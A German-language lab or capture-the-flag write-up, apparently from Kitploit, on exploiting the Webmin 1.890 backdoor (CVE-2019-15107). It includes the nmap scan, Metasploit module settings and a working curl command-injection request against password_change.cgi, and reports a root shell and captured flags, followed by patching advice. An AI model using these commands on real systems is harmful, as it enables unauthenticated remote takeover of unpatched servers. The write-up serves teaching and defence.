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Project-Exploitation-of-Webmin-Authentication-Vulnerability — Forschungsziel: Durchführung einer umfassenden Analyse und erfolgreichen Ausnutzung einer Remote Code Execution (RCE)-Schwachstelle in Webmin Version 1.890 (CVE-2019-15107), um letztlich die vollständige Kontrolle über das Zielsystem zu erlangen. | Kitploit
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Project-Exploitation-of-Webmin-Authentication-Vulnerability

Forschungsziel: Durchführung einer umfassenden Analyse und erfolgreichen Ausnutzung einer Remote Code Execution (RCE)-Schwachstelle in Webmin Version 1.890 (CVE-2019-15107), um letztlich die vollständige Kontrolle über das Zielsystem zu erlangen.

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vor 1 JahrNoch nicht geprüft

Forschungsziel: Durchführung einer umfassenden Analyse und erfolgreichen Ausnutzung einer Remote-Code-Ausführungs-Schwachstelle (RCE) in Webmin Version 1.890 (CVE-2019-15107), mit dem Ziel, die vollständige Kontrolle über das Zielsystem zu erlangen.

Methodik:

Erste Erkundung:

Netzwerkscan mit Nmap durchgeführt:

bash nmap -sV -sC -A -p- 10.201.105.185 Webmin 1.890-Dienst auf Port 10000 identifiziert

Schwachstellenanalyse:

Untersuchung des Schwachstellenmechanismus in password_change.cgi

Bestätigung der Möglichkeit einer nicht authentifizierten, beliebigen Befehlsausführung

Ausnutzung:

Implementierung zweier Angriffsvektoren:

Verwendung des Metasploit-Frameworks:

bash use exploit/linux/http/webmin_backdoor set RHOSTS 10.201.105.185 set LHOST tun0 exploit Manuelle Ausnutzung über curl:

bash curl -k "https://10.201.105.185:10000/password_change.cgi" -d "user=root&pam=&expired=2&old=test|id&new1=test&new2=test" Post-Exploitation:

Interaktive Root-Shell erhalten

Dateisystemanalyse durchgeführt

Flag-Dateien entdeckt:

bash /home/dark/user.txt /root/root.txt Ergebnisse:

CVE-2019-15107-Schwachstelle erfolgreich ausgenutzt

Vollständige Root-Berechtigungen auf dem System erlangt

Kritische Bedeutung zeitnaher Software-Updates demonstriert

Technische Schlussfolgerungen:

Schwachstelle ermöglicht beliebige Befehlsausführung durch Einschleusung in den „old“-Parameter

Fehlende Authentifizierungsprüfungen machen dies besonders gefährlich

Version 1.890 enthält eine Hintertür, die in späteren Versionen gepatcht wurde

Sicherheitsempfehlungen:

Sofortiges Upgrade auf die aktuelle Webmin-Version

Einschränkung des Zugriffs auf das Verwaltungspanel per IP

Regelmäßige Sicherheitsaudits von Webanwendungen

Weitere Forschungsrichtungen:

Analyse anderer Webmin-Schwachstellen

Entwicklung eines eigenen Exploits ohne Metasploit

Untersuchung von Persistenstechniken in kompromittierten Systemen

Diese Fallstudie demonstriert die kritische Bedeutung zeitnaher Systemupdates und die Notwendigkeit einer kontinuierlichen Schwachstellenüberwachung in eingesetzter Software. Die Forschung liefert praktische Einblicke in moderne Techniken zur Ausnutzung von Webanwendungen und betont gleichzeitig grundlegende Sicherheitsprinzipien.

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